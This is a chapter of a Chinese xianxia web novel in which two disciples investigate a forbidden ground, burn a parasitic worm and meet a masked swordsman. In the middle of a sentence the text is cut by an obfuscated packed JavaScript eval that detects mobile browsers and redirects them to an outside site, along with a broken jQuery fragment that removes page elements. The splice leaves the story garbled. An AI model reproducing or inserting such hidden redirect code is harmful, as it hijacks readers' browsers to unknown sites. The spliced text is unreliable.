第二日的宗门大考很快结束,按照规则,每位弟子需要两两对战,将所学的三套剑招全部用在比试当中。陈阿呆武术虽依着江子贤的补习多少凑了个囫囵,但是对手毕竟是外门弟子中的第一名张科,自然是抵抗一阵便败下阵来。
但此时的陈阿呆心情大好,连着步伐都轻快许多。她心里早已经盘算过比试结果,自觉已经不错,虽没有赢得比赛得分更高,但自己的三套招数也勉强使完,靠着文试的成绩,进入内门还是有不少机会。
终于能睡个好觉了,陈阿呆心想,这两天基本没怎么休息,白天得跟着江子贤学习术法,晚上还得偷偷溜进天一阁,这下试炼结束,一定要睡个昏天暗地。
“陈阿呆!”忽然听见一人唤她名字,陈阿呆打了半个的哈欠来不及收回,只能长着嘴巴面无表情的看过去,却看见最不可能叫她的陈芸芸一跳一跳的过来。
“何事?”陈阿呆开口询问,心里想着早早应付了好睡一会儿。
陈芸芸却不急着开口,她将陈阿呆往小路上引了引,眼见四下无人,这才压低声音悄悄说道:“你今日试炼如何?”
陈阿呆点点头,不明白她有什么用意:“意料之中。”
意料之中的败北。
陈芸芸却会错了意,围着陈阿呆上下打量一番,这才说道:“我就知道没看错人,试炼以你的本领自然是游刃有余。”
陈阿呆再连着打两个哈欠,眼皮子上下都开始打架,实在是不明白陈芸芸怎么忽然关心起她功课,平日里不是最爱看她笑话,哪次不是逮住机会就要奚落一番自己。于是干脆停下来看向她:“今日有何事?”
陈阿呆本来就面瘫,面目表情再带上沙哑的嗓音,这些年就算简单交流也吓退了不少人,于是她这次也便阴森森的看向陈芸芸,心里想着早早将这人吓到回去睡觉。可陈芸芸像被她提醒一番,反而贴了上来:“那天禁地的梁言师兄你可还记得?”
陈阿呆一听被勾到兴趣,那梁言明显失了神智,又为何出现在这宗门,正好想弄懂这东西的来历,于是再点点头,示意陈芸芸接着说下去。
陈芸芸见状,便凑的更紧:“那天我是为了偷清凝花来禁地,因此待你走后,我自觉也说不清楚,于是我便让强文强武来报告长老,我先走一步,约定与他二人在今日试炼后集合。”
“可我今日左等右等,竟不见他们从学堂出来,于是我便问了监考的夫子,谁料说他二人根本就没有来参加考试。”
“我总觉得不对,便又去了二人房间里等,同住师弟说他们二人凌晨才回来,这会又不知去了哪里。我便多等了一会,谁料他二人回来时,神色麻木,全然忘记昨日经历和今日试炼的事情。”
陈阿呆听到此处,还有什么不明白,神情恍惚,记忆全失。按照古书记载,八成这两人被长老施了咒法,要不是她与陈芸芸先行离开,恐怕今日缺堂考试的不止强文强武二人了。
可为什么放着眼前的妖邪不除,却将这二人记忆消除,背后有什么秘密。
掌握的线索太少了,陈阿呆想不出个所以然,却看见陈芸芸一脸期待的看向她。
“这件事你还与谁说过?”陈阿呆想了想,觉得这件事十分蹊跷,二人出入禁地的事情还是要保密为上。
“不曾与他人说过。”陈芸芸摇摇头。
“那便咬死都不要说出去,静等长老的安排。”陈阿呆安抚着眼前的陈芸芸,心里却觉得此事疑点众多,不若晚上再去一次禁地看看有无线索。
陈芸芸一脸凝重:“强文强武待我如亲人一般,我怎能看着他们出事不管不问。”
陈阿呆看向陈芸芸,这事确实危险,不能再牵连旁人进来,只得宽言两句,让陈芸芸早点回去休息。
入夜,禁地迷雾渐起,惨白的月亮凉凉的照着大地,妖兽在暗处嚎叫。一个身影在密林中快速穿梭,却连鸟雀都未惊动半分,最后如羽毛一般轻柔的落在地上。
来人正是陈阿呆,她俯下身子,手指一寸寸摸过这片土地,这里正是梁言追踪和袭击陈芸芸三人的地方。
地下大片干枯的豹血仍在,暗褐色的地面看上去有些渗人,一旁是一只气绝多日的豹子,嘴边留有干涸的血迹。蝇虫在它身上飞来飞去,一片嗡声,豹子的从胸口处散发出阵阵恶臭,天气闷热,隐隐有蛆虫在蠕动。
陈阿呆皱着眉从袖口拿出帕子覆于面上。一手捡起木棍向豹子腐烂的胸口处挑去,那尸体胸口已然像被什么动物掏空。应当是那日离去后,附近野兽闻到腥味前来啃食才成了如今模样。
陈阿呆站起来,揉揉发酸的小腿,盯着眼前的尸体发愣。忽听背后窸窸窣窣的声音,急忙躲在一块石头后,却发现是陈芸芸拨开草丛走了出来,手中还拖着一把长剑。
“陈芸芸!”陈阿呆手拿个木棍,从石头后走了出来。
陈芸芸猛被一喊,剑都落在了地上,一看来人是陈阿呆,顿时欣喜地跑过来。
“你怎么也来了?”陈阿呆问道。
“我担心强文和强武,这才过来看看。”陈芸芸凑近,拉上她的胳膊:“夜晚的禁地好生吓人。”
陈阿呆平日都是孑然一身,猛与人这么亲密,还有些不习惯。她提起右手想将胳膊挣脱出来,奈何陈芸芸抱着死紧,这才罢休,转而重新看向豹子的尸体。
总觉得哪里怪怪的,陈阿呆心想。
“阿呆,你说这豹子肚子都被掏空了看起来怪可怜的,我们把它埋了吧。”陈芸芸指着眼前的豹子说道。
陈阿呆忽得灵光一闪,她双手解下面颊上的手帕转而衬在手中,弯腰将豹嘴掰开,看到了一块鲜红的肉。
“这是……”陈芸芸后退一步问道。
陈阿呆用手帕将这块肉捏起,扔在路边,找来木棍翻转着细细打量:“这是梁言师兄与豹子在搏斗时肩膀处被咬下的肉。”
豹子撕扯咬下的一块肉后,又被梁言打死掏心。这肉还来不及吞咽,就留在了豹子嘴里。这么多天连豹子腹部都开始腐烂,可着块肉看着却新鲜无比,仔细看还隐隐有东西在里面跳动。
“过分了啊阿呆,怎么这都下的去啊啊啊!!”陈芸芸尖叫。
陈阿呆并未理会,她从口袋里摸出一柄小刀,沿着跳动的地方细细切了下去,一根红线一般扭动的虫子露出来,这虫子没头没脚,在肉里翻腾。陈芸芸吓得跳起来脚不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669308|173072||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
挨地,陈阿呆手又伸进了口袋里。
这虫子扭动正欢,也许是突然从肉中窥得天日,一用力扭动居然弹跳了出来,正正落在陈阿呆的木棍上,快速向陈阿呆捏住的手柄处爬去。
陈阿呆手下丝毫不含糊,直接从包里翻出药酒掀了盖,一口含在嘴里,拿出火折子噗的一吹,火星子一下成了火龙将这怪异虫子烧了个满满当当。
火烧了很久很久,久到陈阿呆一手托腮有点微微犯困的时候,陈芸芸还在一手指着棍子拼命尖叫。
“别喊了,别喊了,一会招来脏东西了。”陈阿呆第十八遍的安慰,换不来陈芸芸丝毫的妥协。
火渐渐熄灭,烧焦的棍子上留下黑乎乎的一片,陈阿呆又找了根木棍戳一戳,木棍上微微凸起的地方轻轻碎了。
“你见过这个虫子吗?”眼瞅着陈芸芸嗓音开始沙哑,陈阿呆适时问道。
陈芸芸捂着嗓子咳嗽两声,这才凑近:“没有”,她扯着破锣嗓子说道:“这东西有些邪性,不像是本派所为。”
陈阿呆余光忽然瞥见那块梁言身上的肉,不知什么时候忽然腐烂成了一滩泥水。蚊虫也开始渐渐向豹子尸体的头部聚集。
看来眼前的这虫子就是这件事中的关键了,陈阿呆想着,最近得找个机会再去天一阁查查书籍。
不等陈阿呆想出了所以然来,陈芸芸又是一声短促的尖叫,她一屁股坐在地上,面容惊愕的指着自己的身后,活脱脱像见了鬼一般。
“你又吓着了?”陈阿呆忽觉得眼前好像多了道重影,手中的也出现了两方帕子,她晃晃手中的帕子,面容嫌恶的捏在手里,脑子里满是胡思乱想,就这么一条手帕也许回去洗洗还能再用,以后入学了花钱的地方还多着呢。
鼻腔充斥一阵青松寒雪的气息,风都变得凌冽清凉,像有人在晴空万里的日子骤然下了雪。陈阿呆紧紧衣领,将脖子缩在衣服里,再将这手帕抖啊抖的勉强绑在棍上,准备就这么拿回去,忽然感觉陈芸芸轻轻扯了扯自己的袖子。
“阿呆,看你后面。”陈阿呆听陈芸芸开口说道。
陈阿呆回头,看到空地旁不知何时站了一人,来人手持利剑,穿着一袭白色长袍,外罩的薄纱轻盈飘逸。身形像大师兄一样。
陈阿呆抬眼,想看清来人长相,却发现此人戴张木质面具,只露出两只眼睛,双眸如深潭,细看只觉得是铺天盖地的星辰与冰雪。
不,不像大师兄,大师兄的眼睛无论何时来看,都是温柔至极的。
陈阿呆瘪嘴,感觉体内热哄哄的,情绪在身体里流动暴走不受控制的翻涌,让她的眼睛热乎乎的。
她又想大师兄了。
她摇摇晃晃站起身,向着眼前人小步走过去,想再看的更仔细一些。
面具下的人说话了,声音如霜雪一般冷冽:“夜闯禁地,同罚十鞭。”
十鞭,说的是我吗?不知何时开始昏昏沉沉的,陈阿呆思绪越飞越高,越过山林和月亮,一头向前栽倒,眼看就要倒在地上。
她晃晃身子,骤然被一片云彩接住。
眼前是一片月白,绣着一些精致的云纹或符文。
陈阿呆睡着了。